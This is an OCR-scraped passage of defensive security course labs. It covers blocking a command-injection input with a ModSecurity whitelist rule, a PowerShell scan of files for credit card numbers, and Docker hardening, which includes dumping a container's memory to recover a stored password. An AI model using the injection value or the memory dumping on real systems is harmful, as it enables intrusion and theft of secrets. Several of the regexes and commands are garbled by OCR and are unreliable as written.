SecRule ARGS:dir "!~[a-zA-Z0-9]+%"

Note: This rule applies to any submissions against /test.php that are using the dir parameter. The rule
specifies that dir must only contain alphanumeric characters or else the request will be blocked. -t:none
tells ModSecurity not to normalize user input. -t:normalizePath tells ModSecurity to attempt to
normalize the path to /test.php.

Save the file by clicking on File and then clicking on Save.

Edit View Search Tools Docume
Ne Ctrl+T [E1Q

Open o e
Open Recent : > hirn
e

Next, close out of the text editor by clicking on the X in the top right corner of the editor.

- + X

&

For the setting change to take effect, Apache must be restarted. Do this by running the command below
in your terminal.

S sudo service apache2 restart

While still in the terminal, follow the Apache error log file by running the command below:

$ tail -f /var/log/apache2/error.log

Next, switch back to Chrome and submit "Instructors; pwsh -h" again.
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What directory would you like to list?

Instructors; pwsh -h

______________ =

This time the request is blocked. The previous attack no longer works.

Forbidden

You don't have permission to access /test.php on this server.

Submit

Apache/2.4.18 (Ubuntu) Server at 172.17.0.1 Port 80

The log file output should reflect something similar to the following block message:

[Tue Mar 13 23:05:35.389286 2018] [:error] [pid 17442] [client
192.168.56.131] ModSecurity: Access denied with code 403 (phase 2).
Match of "rx "[a-zA-Z0-9]+$" against "ARGS:dir" required. [file
"/etc/modsecurity/rules/local-rules.conf"] [line "8"] [id "400001"]
[msg "Whitelist match failed - alphanumeric"] [hostname "172.17.0.1"]
[uri "/test.php"] [unique id "WQiRf38AAQEAAEQi-zkAAAAE"]

At this point, a whitelist rule for the dir parameter is in place. Without changing the web application,
ModSecurity can protect and enforce the expected use of the web application form. As you can see,
whitelisting is much more effective than blacklisting. However, it is significantly more time consuming
and difficult to implement.
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Lab Conclusion

In this lab, you have applied a web application firewall to protect a custom web application. By playing with a
web application firewall you have:

e Applied blacklisting rules

e |dentified methods rules can be bypassed

e Discovered the detection capabilities of web application firewall logs
e Implemented custom rules

e Applied whitelisting techniques

Lab 4.1 is now complete!
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Exercise 4.2 — Discovering Sensitive Data

Objectives

Discover how to find sensitive data in places it should not be
Learn how to use regex patterns

Identify the need and power of using scripting languages
Learn thought process for writing scripts

Apply logic to rule out false positives

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

Before beginning this lab, run the following command to update Visual Studio Code to the latest available
version:

$ sudo pwsh /labs/check.psl -check precheck -lab 4.2

Below are regex patterns you will need for this lab.

Visa 4[0-9]{12}(?:[0-9]{3})?
American Express 3[47][0-9]{13}
Discover 6(?:011]5[0-9]{2})[0-9]{12}

There is a sample file at /labs/4.2/sample_cc.csv that you can use. There also is a /labs/4.2/sample.csv which
does not contain credit card numbers.
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Exercise: No hints

Identify any files found within /etc, /fhome and /usr on your student VM that have Visa, American Express, or
Discover credit card numbers in them. Only look at files that have a CSV extension (.csv).

e What are the file names that contain these credit card patterns?

e Do any files contain numbers that are not credit card numbers?

e [sthere any automated logic that can help eliminate false positives?

Use any scripting language or tools you would like. Your student VM has Bash, Python, and PowerShell.

Exercise — Step-by-step instructions

1. Find CCs in sample files

In a production environment, it is important to know where your data resides. Unfortunately, the only
way to know is to verify using a combination of scripting, targeted vulnerability scans, file classification
reporting, and/or DLP solutions. This lab guide utilizes PowerShell as Windows systems, whether
desktops or servers, routinely have sensitive data.

For this first step, you are going to create a script that will find credit card numbers in
/labs/4.2/sample_cc.txt. To do this run the command below.

$ code /labs/4.2/student/cc finder.psl

First, start with a basic command that will output the contents of /labs/4.2/sample_cc.csv. To do this add
the following code to your script.

Get-Content -Path "/labs/4.2/sample cc.csv"
Note: Get-Content is a PowerShell module that retrieves the content of a file. It can be used to output
contents to the console or store contents into a file for later manipulation. An example of storing

contents into a variable would be S$file = Get-Content -Path C:\test.txt

Click on the DEBUG symbol on the left panel.
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File Edit Selection View Go Debug Tasks Help

> cc finder.ps1 @

To run your script either enter F5 on your keyboard while inside Visual Studio Code or click on the play
button next to DEBUG.

I:m DEBUG p ¥ ¥* [ > cc finder.ps1 @

1
4 VARIABLES 1 Get-Content -Path "/labs/4.2/sample cc.txt"

Jo

IMPORTANT: The rest of this lab will simply tell you to run your script. Remember, you may either press
F5 or click on the play button next to DEBUG.

The output from running your script will be displayed in the terminal window at the bottom of the Visual
Studio Screen.

PS /home/student> Get-Content -Path "/labs/4.2/sample cc.csv"
4929695204533019

In this case, the file contains 492965204533019 which is a valid Visa credit card number. The next step is
to identify if the file contains a credit card number programmatically. Knowing this is a Visa credit card
number let us test by looking for the Visa regex pattern.

Modify your script by appending ' | Select-String -Pattern "4[0-9]{12}(?:[0-9]{3})?"' to the Get-Content
line of code. Your single line script should look like this:

Get-Content -Path "/labs/4.2/sample cc.csv" | Select-String -Pattern
"410-9]1{12}(?:[0=-9]{3})2"

Note: PowerShell, Python, and Bash allow you to take the output of a command and pass it to something
else using a pipe character. In this case, the contents returned by Get-Content are passed to Select-String
for processing. Select-String is PowerShell's equivalent to the Linux grep command which looks for
strings or regex patterns.
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Now run your script. This time cutput will only be displayed if Select-String finds a match. In this case, the
regex pattern matches the sample Visa credit card number, so 492965204533019 is displayed.

PS /opt/microsoft/powershell/6.0.1> Get-Content -Path
"/labs/4.2/sample cc.csv"| Select-String -Pattern "4[0-9]1{12} (?:[0-
91{3}) 2"

4929695204533019

Next, update Get-Content to look for Visa, American Express, and Discover card regex patterns. To do this
a pipe character can be used to separate each regex pattern. A pipe in regex means or. Update your code
to look as follows:

Get-Content -Path "/labs/4.2/sample cc.csv"| Select-String -Pattern
"470-91{12} (?2:[0=-91{3})213[47]1[0-97{13}]6(?:011|5[0-971{2})[0=-9]1{12}"

Run your script. The output should still reflect 492965204533019.

PS /opt/microsoft/powershell/6.0.1> Get-Content -Path
"/labs/4.2/sample cc.csv"| Select-String -Pattern "4[0-9]{12} (?:[0-
91{3})213[47]1[0-91{13}|6(?2:01115[0-9]1{2})[0-9]{12}"

4929695204533019

Now, to verify the pattern is truly working as expected modify the script to look at /labs/4.2/sample.csv
which does not have any credit card numbers in it. Do so by changing your script to look like below.

Get-Content -Path "/labs/4.2/sample.csv"| Select-String -Pattern "4[0-
91 {12} (2:[0-9]1{3})?213[47]1[0-9]{13}16(2:011]5[0-9]1{2}) [0=-9]{12}"

Run the script. There should be no output as /labs/4.2/sample.csv does not have a Visa credit card
number in it.

PS /opt/microsoft/powershell/6.0.1> Get-Content -Path
"/labs/4.2/sample.csv"| Select-String —-Pattern "4[0-9]{12}(?:[0-
91{3})?213[47]1[0-9]{13}16(2:011|5[0-9]1{2}) [0=-9]{12}"
PS /opt/microsoft/powershell/6.0.1>

2. Look for CCs in multiple files

Next, let us modify the script so that it will perform pattern matching against multiple files rather than a
single file. This time instead of using Get-Content which is designed to pick up a single file you will be
using Get-Childltem.

To see how Get-Childltem normally reacts, add a line of code that contains 'Get-Childltem -Path
"/labs/4.2"" such as follows:

Get-ChildItem -Path "/labs/4.2"

With your mouse, left click and drag over this line of code to highlight it. Your screen should look like
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below.

> cc_finder.ps1 @ Q

1 Get-Content -Path "/labs/4.2/sample.csv"| Select-String
-Pattern "4[0-9]{12}(?:[0-9]1{3})7?|3[47]1[0-9]1{13}|6(7:011|5[0-9]
{2})[0-9]{12}"

2  Get-ChildItem -Path "/labs/4.2" <

When you have one or more lines of code highlighted, you could tell Visual Studio Code to run just the
highlighted code by pressing F8 on your keyboard. Do so now. The output should look as follows:

PS /opt/microsoft/powershell/6.0.1> Get-ChildItem -Path "/labs/4.2"

Directory: /labs/4.2

Mode LastWriteTime Length Name

d----- 6/11/18 12:09 PM student
—————— 6/8/18 11:33 PM 868 cc finder.psl
______ 6/8/18 11:33 PM 17 sample cc.csv
______ 6/8/18 11:33 PM 22 sample.csv
—————— 6/8/18 11:33 PM 4862984 words.txt

Note: Get-Childltem is often used to list files found within specific directories. However, PowerShell is
object-oriented and allows objects created in one command to be invoked by other commands (such as
piping to Select-String).

As you can see, Get-Childltem lists out the files found within /labs/4.2. However, you want the files to be
inspected for credit card numbers. Fortunately, this is as simple as adding a pipe and Select-String again.

Update your script only to contain the following line of code.

Get-ChildItem -Path "/labs/4.2" | Select-String —-Pattern "4[0-
91{12}(?2:[0-9]1{3})?213[47][0-9]1{13}16(?2:01115[0-9]{2}) [0=9]1{12}"

Your entire scripts should be one line and look as follows:

> cc_finder.ps1t @ Q)

1  Get-ChildItem -Path "/labs/4.2" | Select-String -Pattern "4
f [0-9]1{12}(?:[0-9]1{3})?|3[471[0-9]1{13}|6(?:011|5[0-9]{2})[0-9]
{12}"

Note: To enable long commands to wrap to a new line click on View and then click on Toggle Word
Wrap.
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Now run your cede. This time the cutput reflects flabs/4.2/sample_cc.csv and the single Visa credit card
number it matched on.

PS /opt/microsoft/powershell/6.0.1> Get-ChildItem -Path "/labs/4.2" |
Select-String -Pattern "4[0-9]{12} (?2:[0-9]1{3})?|3[47][0-

91 {13} 16(?2:011|5[0-9]1{2}) [0=-9]{12}"

/labs/4.2/sample cc.csv:1:4929695204533019

At this point, Get-Childltem is only inspecting files found within /labs/4.2. There are a couple issues with
this. One, you need to look for credit card numbers in /etc, /usr, and /home. Two, you need to look in
these folders recursively. Get-Childltem by default only inspects the files within the folder given. Lastly,
only CSV files are supposed to be inspected for credit card numbers.

All of these issues are easy to solve. First, tell Get-Childltem to inspect all files and folders including
subfolders and files using -Recurse. Do so by updating your code to reflect the following:

Get-ChildItem -Path "/labs/4.2" -Recurse | Select-String -Pattern "4[0-
91 {12} (?2:[0-9]1{3})?213[47][0-91{13}16(?2:011]15[0=-9]{2})[0=-9]{12}"

Run your code. It should still output and find sample_cc.csv and the sample credit card number.

PS /opt/microsoft/powershell/6.0.1> Get-ChildItem -Path "/labs/4.2"
Recurse -Include *.csv | Select-String -Pattern "4[0-9]{12} (?:[0-
91{3})213[47]1[0-9]1{13}16(?2:01115[0-91{(2})[0-9]{12}"

/labs/4.2/sample cc.csv:1:4929695204533019

Next, update your code by adding "-Include *.csv". This tells Get-Childitem to only include CSV files. Your
code should look as follows:

Get-ChildItem -Path "/labs/4.2" -Recurse -Include *.csv | Select-String
-Pattern "4[0-9]1{12} (?:[0-91{3})?13[47]1[0-91{13}16(2:011|5[0-91{2}) [0~
91{12}"

Again, run your code, and the same output is found.

PS /opt/microsoft/powershell/6.0.1> Get-ChildItem -Path "/labs/4.2" -
Recurse -Include *.csv | Select-String -Pattern "4[0-9]{12} (?:[0-
91{3})213[47]1[0-91{13}|6(?2:01115[0-9]1{2}) [0-9]{12}"

/labs/4.2/sample cc.csv:1:4929695204533019

The script is working as intended but needs to investigate the /etc, /usr, and /home directories. This
could be done by copying your Get-Childltem lines so that it gets invoked three different times for three
different paths. However, the script is more flexible if all possible paths could be defined and then looped
through.
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To do this, update your script to look like the following code:

Spath = @("/etc","/home", " /usr")

foreach ($folder in Spath) {
Get-ChildItem -Path $folder -Recurse -Include *.csv -ErrorAction

SilentlyContinue | Select-String -Pattern "4[0-9]{12} (?:[0-
91{3})213[47][0-91{13}16(2:01115[0-9]1{2}) [0-9]{12}"
}

Note: The @() specifies an array within PowerShell. Therefore, Spath is a variable that contains an array
of three file paths. An array is helpful as it allows one to loop through each value in an array which is
what is being done with the foreach($folder in Spath) code. As each entry of the array is processed the
value is temporarily being stored in the variable called $folder. This variable is then used as the -Path
parameter for Get-Childltem. The -ErrorAction SilentlyContinue was added to ignore files with

permission issues.

Your entire script should be four lines of code and look like this:

» cc _finder.ps1 @ [Q)

1 $path = @("/etc","/home","/usr")
2 foreach($folder in $path){

3 Get-ChildItem -Path $folder -Recurse -Include *.csv |
Select-String -Pattern "4[0-9]{12}(?:[0-9]1{3})?|3[47]1[0-9]
‘sl {13}|6(?:011|5[0-9]1{2})[0-9]{12}"
4

Run the script, and your output should identify three files with credit card numbers. The output should be
similar to below but will have many more lines of output.
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PS /labs/4.2/student> Get-Content -Path "/labs/4.2/sample_cc.csv"/labs/4.2/student/cc_finder.psl
/etc/blue/team/is/sexy/31337_find.csv:101:Visa,4485069860215277
/home/student/database_reference.csv:1:database_entry id,4754968841931981
Jusr/games/fake_ccs.csv:101:Discover,6011901571948390

The first file found is 31337_find.csv. This file has multiple credit card entries. The second file found is
database_reference.csv which has one entry. The last file found is fake_ccs.csv which have multiple
credit card entries.

Note: The number following the file name in the output is not a count. Instead, it is the line number the
pattern match was found.

At this point, your script properly looks at CSV files found in /etc, /home, and /usr.
3. Look for false positives

Next, the data needs to be analyzed to identify false positives. In the script's current form each line item
can be found and inspected. However, this is cumbersome and does not scale well. Instead, update your
script to report on the files found and how many regex matches each file has.

First, update your script to capture matches to a variable called $files_discovered. Do this by modifying
your code to match below.

$files discovered = @()
Spath = @("/etc","/home", " /usr")
foreach ($folder in S$path) {

$files discovered += Get-ChildItem -Path $folder -Recurse -Include
*.csv —-ErrorAction SilentlyContinue | Select-String -Pattern "4[0-
91{12} (?2:[0-91{3})?13[47]1[0-9]1{13}16(?2:011|5[0-9]1{2})[0-91{12}"
}

$files discovered

You should have six lines of code, and Visual Studio Code should reflect this:

1 $files discovered = @()

2  $path = @("/etc","/home", " /usr")

3 foreach($folder in $path){

4 $files discovered += Get-ChildItem -Path $folder
-Recurse -Include *.csv -ErrorAction SilentlyContinue
| Select-String -Pattern "4[0-9]{12}(7:[0-9]1{3})7?]3
[47][0-9]1{13}|6(?7:011|5[0-9]{2})[0-9]{12}"

5 }

6 $files discovered

Note: The code update creates an empty array called $files_discovered. Then when Get-Childitem is
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invoked, if there is a regex match, content is added to $files_discovered. The += operator appends data
to $files_discovered. The last line, line number six, calls the variable with no options. This prints the
contents of $files_discovered to the screen.

Run your script. The output should be identical to the previous run. However, all the data is stored in
$files_discovered. This means that the variable can be manipulated or reported on.

Note: This time output is being captured to a variable. This occurs before outputting to the screen. As a
result, you may not see anything for a minute or two.

Now that $files_discovered contains all regex match data add "| Group-Object -Property Filename" to
the end of line six. Line six should match this:

$files discovered | Group-Object -Property Filename

Instead of running the code again, simply highlight line six and press F8. Alternatively, run the entire
script.

Note: The contents of Get-Childitem are stored in $files_discovered. Thus, using F8 against line six saves
a lot of time as the regex pattern matching does not have to take place again.

The resulting output is as below.

PS /labs/4.2/student> S$files discovered | Group-Object -Property
Filename

Count Name Group
100 31337 find.csv
{/etc/blue/team/is/sexy/31337 find.csv...
1 database reference.csv
{/home/student/database reference.csv:...
100 fake ccs.csv
{/usr/games/fake ccs.csv:2:Discover, 60...

To sort against count, append " | Sort-Object -Property Count -Descending" to the end of line six.

$files discovered | Group-Object -Property Filename | Sort-Object -
Property Count -Descending
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Again, highlight line six and press F8. The results should now lock like below.

PS /labs/4.2/student> S$files discovered | Group-Object -Property
Filename| Sort-Object -Property Count -Descending

Count Name Group

100 31337 find.csv
{/etc/blue/team/is/sexy/31337 find.csv...
100 fake ccs.csv
{/usr/games/fake ccs.csv:2:Discover,60...
1 database reference.csv
{/home/student/database reference.csv:...

Breaking the results down by a count of how many regex matches there are provides context. Files with a
high count are more likely to contain valid credit card data. Files with a low count still may have credit
card data, but it could just be something matching in a number sequence.

In the results, 31337_find.csv and fake_ccs.csv each have 100 regex matches. The
database_reference.csv file has only one. If this script ran in a production environment, you would first
want to look at the high counts as they pose a higher risk. Start by looking at the last entries of the
31337_find.csv file with the command below. This command can be run from a terminal or directly in the
PowerShell terminal within Visual Studio Code.

$ tail /etc/blue/team/is/sexy/31337 find.csv

The results should be:

PS /labs/4.2/student> tail /etc/blue/team/is/sexy/31337 find.csv
Visa, 4532501326962087
Visa,4929812331667962
Visa,4716930938446916
Visa,4556211847060640
Visa,4024007125029800
Visa,4539127800453626
Visa,4532620034634836
Visa,4532871839227132
Visa,4532884190275665
Visa,4485069860215277

These are valid Visa credit card entries. Next, look at the entries for fake_ccs.csv with the command
below.

$ tail /usr/games/fake ccs.csv
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The results should be:

PS /labs/4.2/student> tail /usr/games/fake ccs.csv
Discover, 6011879296613137
Discover, 6011650735958528
Discover,6011518291685704
Discover, 6011096326112598
Discover, 6011225214254234
Discover, 6011604255529995
Discover, 6011383219209438
Discover,6011101556539260
Discover,6011901571948390

Again, valid credit card numbers. Now, look at database_reference.csv with the command below.

$ tail /home/student/database reference.csv

The output is as below.

PS /labs/4.2/student> tail /home/student/database reference.csv
database entry 1d,4754968841931981

This file was a false positive. The number the regex pattern matched on appears to be a Visa credit card
number but is actually an ID used to reference a database.

To save your script, click on File and then click on Save.

File Edit Selection View Go Debug Tasks He

File Ctri+M

Mew oW Ctri+Shift+M

Open File... Ctri+C
Open Folder... [Ctri+K Ctrl+0]
Open Workspace.,

Open Recent k

Add Folder to Workspace...

Save Workspace As...
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You may now close out of your terminal and Visual Studio Cede by using the X in the top right corner of
each application.

Lab Conclusion

In this lab, you have a PowerShell script that can crawl multiple folders and files to identify credit cards
numbers. By developing the cc_finder.ps1 script in this lab you are capable of:

e |dentifying where sensitive data truly resides

e Having basic scripting capabilities

e Saving money by writing basic scripts

e Applying logic to hone in on high-risk findings

Lab 4.2 is now complete!
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Exercise 4.3 — Secure Virtualization

Objectives

Deploy and interact with Docker containers

Learn the ramifications of a host operating system compromise

Understand ways to secure virtual systems or applications

Limit resources to protect from a host operating system resource exhaustion attack
Harden virtual systems

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530
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Exercise: No hints

Before beginning this lab run the following command:

$ sudo pwsh /labs/check.psl -check precheck -lab 4.3

1. Deploy two CentOS systems using the Docker image centos
e Ping from one system to the other
e Should this be allowed by default?
2.  Use procdump to dump memory from a running Docker container
e Canyou retrieve any information from this memory dump?
e What are the ramifications of being able to access a virtual system's memory at will?
3. Audit Docker's default configuration using /labs/4.3/docker-bench-security/docker-bench-security.sh
e Change the default behavior of Docker so containers cannot talk to one another
e Enable additional auditing of Docker
4. Simulate a denial-of-service attack against a Docker container
e Limit the container to a single CPU and 128 MB of RAM
e Do the limits prevent your student VM from crashing or running out of resources?
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Exercise — Step-by-step instriuctions

1. Deploy two containers

There are multiple ways to run something with virtualization. In this lab, you will be using Docker.
Running a Docker container allows you to spin up an operating system or application quickly. Before
running a Docker container, an image must be downloaded or custom built. To list out images available
on your student VM, run the command below.

S docker images

This lists out all images that are currently installed. The output should look similar to below.

[~]1$ docker images

REPOSITORY TAG IMAGE ID
CREATED SIZE

mitmproxy/mitmproxy latest 7524e2f226d6
4 days ago 96.3MB

lightforge/logstashwithcommunityplugins latest 6fb1£958cf44
5 days ago 710MB

centos latest 2d194b392dd1
9 days ago 195MB

docker.elastic.co/kibana/kibana-oss 6.2.2 cefc83c9p501
3 weeks ago 579MB

docker.elastic.co/elasticsearch/elasticsearch-oss 6.2.2 0453814a47b3
3 weeks ago 483MB

docker.elastic.co/beats/filebeat 6.2.2 287c306d65f7
3 weeks ago 378MB

jasonish/evebox latest bb8015d924f8
3 weeks ago 241MB

dylanmei/cerebro latest db4d3e798809
2 months ago 424MB

lightforge/freq server latest 0ae470710bc4
6 months ago 418MB

lightforge/domain stats latest 39165dc68585
8 months ago 436MB

sameersbn/squid latest 1580e0cad2b0
13 months ago 215MB

tutum/apache-php latest 2e233ad9329%b
2 years ago 245MB

To deploy a container the docker run command is utilized. Use the command below to spin up a CentOS

container.
$ docker run -it --rm --name test containerl centos /bin/bash
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Note: This command deploys a container named test_containerl. The switch -i stands for interactive and
-t stands for terminal. Using -it together provides an interactive terminal to the container being deployed.
The --rm switch tells Docker to delete the container once it is stopped. The --name switch allows you to
specify a container name. If --name is not specified, Docker will automatically assign a name to the
container. In the docker run command above, centos is the image being deployed and /bin/bash is the
command being run in the container. Once you close out of bash by typing exit, the container will stop
and be removed.

Almost immediately you will receive a command prompt that looks similar to this:

[~]$ docker run -it --rm --name test containerl centos /bin/bash
[root@1l4bb90aafb2a /1#

Note: In this example, the random-looking string of 14bb90aafb2a is the container's ID and is also the
container's hostname. This will be different on your system.

This command prompt is from the container, not your student VM Ubuntu operating system. Open a
second terminal by clicking on the terminal icon at the top left of your student VM.

In the second terminal, run the command below to create a second virtual CentOS system.

$ docker run -it --rm --name test container2 centos /bin/bash

You should see a root command prompt with a new container ID. At this point, you may wish to write
down the container IDs or move your terminal windows around so you can keep track of which container
belongs to which terminal.

[~]$ docker run -it --rm --name test container2 centos /bin/bash
[root@5b7dceal5c22 /1#

On your student VM, Docker is configured to hand out IP addresses starting at 172.17.0.2. Because of
this, the first container named test_containerl is 172.17.0.2 and the second container named
test_container2 is 172.17.0.3. From test_containerl try to ping test_container2 using the command
below.

$ ping 172.17.0.3 -c2
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The ping request should be successful and locok similar to below.

[root@l4bb90aafb2a /1# ping 172.17.0.3 -c2

PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.

64 bytes from 172.17.0.3: icmp seg=1 ttl=64 time=0.076 ms
64 bytes from 172.17.0.3: icmp_ seg=2 ttl=64 time=0.089 ms

-—=172.17.0.3 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1031ms
rtt min/avg/max/mdev = 0.076/0.082/0.089/0.011 ms

The successful ping request means that one container can talk to another container by default. For
maximum flexibility and support, this makes sense. From a security posture, this is bad. Maximum
security should dictate that a container can only talk to another container if it has been configured to
have access.

You will be making this change later in step three. At this point close out of test_container2 by typing
exit. Do not close the terminal window.

S exit

Keep the second terminal open as you will use it in the next step.

2. Access memory of virtual process
One of the dangers involved with virtualization whether via containers, a hypervisor, or virtual software
on a standard host operating system is that access to the host effectively means access to all the virtual

machines, especially if they are running.

To demonstrate this, switch to the terminal where test_containerl is running. Inside test_containerl,
run the below commands.

S SECRET=SuperSecretPasswordl234
$ echo S$SECRET

At this point, test_containerl has content in memory that is sensitive in nature. The assumption many
individuals have is nothing can access this because virtualization abstracts everything to the container.
However, compromise of the host or hypervisor allows an adversary to gain access to this information.

To prove this, in the second terminal window run the below command to identify the running process ID
of the test_containerl Docker container.

$ docker inspect test containerl | grep Pid

The output will look similar to below.
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[~]$ docker inspect test containerl | grep Pid
"Pid": 24840,
"PidMode": "",
"PidsLimit": O,

Write down the Pid value, which in this case is 24840. This value will most likely be different on your
student VM. Next, run the commands below but substitute 24840 with the Pid value of your container.

$ cd /tmp
S sudo procdump -p 24840

If prompted for credentials for the student account, enter Security530.

Note: The procdump tool allows a system to dump memory for a specific process ID. It is written by the
Microsoft Sysinternals team and was originally for Windows only.

The output should look similar to below.

[/tmp]$ sudo procdump -p 24840

ProcDump v1.0.1 - Sysinternals process dump utility

Copyright (C) 2017 Microsoft Corporation. All rights reserved. Licensed
under the MIT license.

Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi

Monitors a process and writes a dump file when the process exceeds the
specified criteria.

Process: bash (24840)
CPU Threshold: n/a
Commit Threshold: n/a
Threshold Seconds: 10

Number of Dumps: 1
Press Ctrl-C to end monitoring without terminating the process.
[23:25:40 - INFO]: Timed:

[23:25:41 - INFO]: Core dump 1 generated: bash time 2018-03-
14 23:25:40.24840
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The file saved in this case is bash_time_2018-03-14 23:25:40.24840 but will be different on your VM.
Next, run the below command to look for the string SECRET within this memory dump. Make sure you
change bash_time_2018-03-14_23:25:40.24840 to reflect the file name on your student VM. If you start
typing "strings bash_time" and then hit TAB on your keyboard, Linux will autocomplete the file name.

$ strings bash time 2018-03-14 23\:25\:40.24840 | grep SECRET

The results show that the SECRET variable is readable.

[/tmp]$ strings bash time 2018-03-14 23\:25\:40.24840 | grep SECRET
echo S$SECRET

SECRET

SECRET

SECRET=SuperSecretPasswordl234

cho $SECRET

root@l14bb90aafb2a /]# echo $SECRET

$SECRET

This demonstration can be helpful to prove to fellow co-workers or management how important it is to
secure host operating systems that use virtualization of any kind. The steps to secure a host operating
system are standard:

e Disable all unnecessary services

e Implement host-based firewalls

e Patch

e Require strong authentication and limit to only authorized personnel

Note: What you just performed is similar to how an adversary would steal credit card numbers,
intellectual property, and other information from VMware, Hyper-V, and Docker. It is also why certain
compliance frameworks such as PCl require that all virtual machines running on a physical server be
deemed in scope for compliance. Therefore, it is a good idea to separate data of differing sensitivity levels
across different host operating systems or hypervisors. For example, an organization may have a
virtualization farm for their DMZ, their sensitive data, and their non-sensitive internal assets.

Keep test_containerl running and do not close out of your second terminal window.
3. Run audit tool
To investigate the current configuration for Docker run the docker-bench-security script found in

/labs/4.3/docker-bench-security/docker-bench-security.sh. Do this by switching to the second terminal
window and run the commands below.

$ cd /labs/4.3/docker-bench-security
$ sudo bash docker-bench-security.sh -c
host configuration,docker daemon configuration

If prompted for credentials for the student account, enter Security530.
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Note: The -c switch limits the checks performed by docker-bench-security. In this case, only host
configuration checks and docker daemon checks are being run.

The audit report should print out as below.

[/labs/4.3/docker-bench-security]$ sudo bash docker-bench-security.sh -c
host configuration,docker daemon configuration

# ____________________________________________________________________________
# Docker Bench for Security v1.3.4

#

# Docker, Inc. (c) 2015-

#

# Checks for dozens of common best-practices around deploying Docker

containers in production.
# Inspired by the CIS Docker Community Edition Benchmark v1.1.0.

Initializing Wed Mar 14 23:41:20 EDT 2018

[INFO] 1 - Host Configuration

[WARN] 1.1 - Ensure a separate partition for containers has been created
[NOTE] 1.2 - Ensure the container host has been Hardened

[INFO] 1.3 - Ensure Docker is up to date

[INFO] * Using 17.12.1, verify is it up to date as deemed necessary
[INFO] * Your operating system vendor may provide support and security
maintenance for Docker

[INFO] 1.4 - Ensure only trusted users are allowed to control Docker daemon
[INFO] * docker:x:999:student

[WARN] 1.5 - Ensure auditing is configured for the Docker daemon

[WARN] 1.6 - Ensure auditing is configured for Docker files and directories -
/var/lib/docker

[WARN] 1.7 - Ensure auditing is configured for Docker files and directories -
/etc/docker

[WARN] 1.8 - Ensure auditing is configured for Docker files and directories -
docker.service

[WARN] 1.9 - Ensure auditing is configured for Docker files and directories -
docker.socket

[WARN] 1.10 - Ensure auditing is configured for Docker files and directories -
/etc/default/docker

[WARN] 1.11 - Ensure auditing is configured for Docker files and directories -
/etc/docker/daemon. json

[WARN] 1.12 - Ensure auditing is configured for Docker files and directories -
/usr/bin/docker-containerd

[WARN] 1.13 - Ensure auditing is configured for Docker files and directories -

/usr/bin/docker-runc

[INFO] 2 - Docker daemon configuration
[WARN] 2.1 - Ensure network traffic is restricted between containers on the
default bridge
[PASS] 2.2 - Ensure the logging level is set to 'info'
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[PASS] 2.3 - Ensure Docker is allowed to make changes to iptables

[PASS] 2.4 - Ensure insecure registries are not used

[PASS] 2.5 - Ensure aufs storage driver is not used

[INFO] 2.6 - Ensure TLS authentication for Docker daemon is configured
[INFO] * Docker daemon not listening on TCP

[INFO] 2.7 - Ensure the default ulimit is configured appropriately

[INFO] * Default ulimit doesn't appear to be set

[WARN] 2.8 - Enable user namespace support

[PASS] 2.9 - Ensure the default cgroup usage has been confirmed

[PASS] 2.10 - Ensure base device size is not changed until needed

[WARN] 2.11 - Ensure that authorization for Docker client commands 1s enabled
[WARN] 2.12 - Ensure centralized and remote logging is configured

[WARN] 2.13 - Ensure operations on legacy registry (vl) are Disabled

[WARN] 2.14 - Ensure live restore is Enabled

[WARN] 2.15 - Ensure Userland Proxy is Disabled

[PASS] 2.16 - Ensure daemon-wide custom seccomp profile is applied, if needed
[PASS] 2.17 - Ensure experimental features are avoided in production

[WARN] 2.18 - Ensure containers are restricted from acquiring new privileges

[INFO] Checks: 31
[INFO] Score: -10

Note: Any line that begins with [WARN] specifies an area security can be improved. [NOTE] reflects
general security recommendations that are not automatically checked.

As the output shows, the default Docker configuration has room for improvement. However, this is not
Docker specific as VMware, Hyper-V, Xen, and other virtualization solutions also need additional
hardening.

For the lab, you will be fixing the auditing items (items 1.5 through 1.13), as well as item 2.1, Ensure
network traffic is restricted between containers on the default bridge.

To add additional auditing, you need to edit the auditd logging rules. To do this, run the command below
within the second terminal.

$ sudo gedit /etc/audit/audit.rules
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When the text editor launches, add the below lines to the bettom of the file.

-w /usr/bin/docker -p wa

-w /var/lib/docker -p wa

-w /etc/docker -p wa

-w /lib/systemd/system/docker.service -p wa
-w /lib/systemd/system/docker.socket -p wa
-w /etc/default/docker -p wa

-w /etc/docker/daemon.json -p wa

-w /usr/bin/docker-containerd -p wa

-w /usr/bin/docker-runc -p wa

The file should look as shown in the picture below.

|Dpen \d H + |

File Edit WView Search Tools Documents Help

# This file contains the auditctl rules that are loaded

# whenever the audit daemon is started via the initscripts.
# The rules are simply the parameters that would be passed
# to auditctl.

# First rule - delete all
-D

# Increase the buffers to survive stress events.
# Make this bigger for busy systems
-b 328

# Feel free to add below this line. See auditctl man page
-w /usr/bin/docker -p wa

-w /var/lib/docker -p wa

-w /etc/docker -p wa

-w /lib/systemd/system/docker.service -p wa

-w /lib/systemd/system/docker.socket -p wa

-w /etc/default/docker -p wa

-w /etc/docker/daemon.json -p wa

-w /usr/bin/docker-containerd -p wa

-w /usr/bin/docker-runc -p wa

Note: auditd is an advanced logging daemon for Linux. It is covered in more detail in book 5.
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Click on Save tc save the file and then close the text editor by clicking on the X in the top right corner.

,|5m| ——
o ©

For the logging changes to take effect run the command below.

S sudo service auditd restart

Next, disable the default container to container networking by editing the Docker daemon configuration
file using the command below.

$ sudo gedit /etc/docker/daemon.json

When the text editor opens, edit the file to have the below configuration.

"icc": false

The file should look like this:

File Edit WView Search Toold

{
}

icc false

Click on Save to save the file and then close the text editor by clicking on the X in the top right corner.

,ISave| - o+ x
o ©
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Next, switch back to the test_centainerl terminal and close out of the container by issuing the below
command. Do not close out of the terminal. Just exit the container.

S exit

For the Docker changes to take effect run the command below in any terminal.

S sudo service docker restart

Now that the changes to Docker have been made, switch back to the second terminal and rerun the
docker-bench-security.sh script using the commands below.

$ cd /labs/4.3/docker-bench-security
$ sudo bash docker-bench-security.sh -c
host configuration,docker daemon configuration

At this point, items 1.5 through 1.13 and item 2.1 should show up as [PASS] as follows:

[PASS] 1.5 - Ensure auditing is configured for the Docker daemon

[PASS] 1.6 - Ensure auditing is configured for Docker files and directories
/var/lib/docker

[PASS] 1.7 - Ensure auditing is configured for Docker files and directories
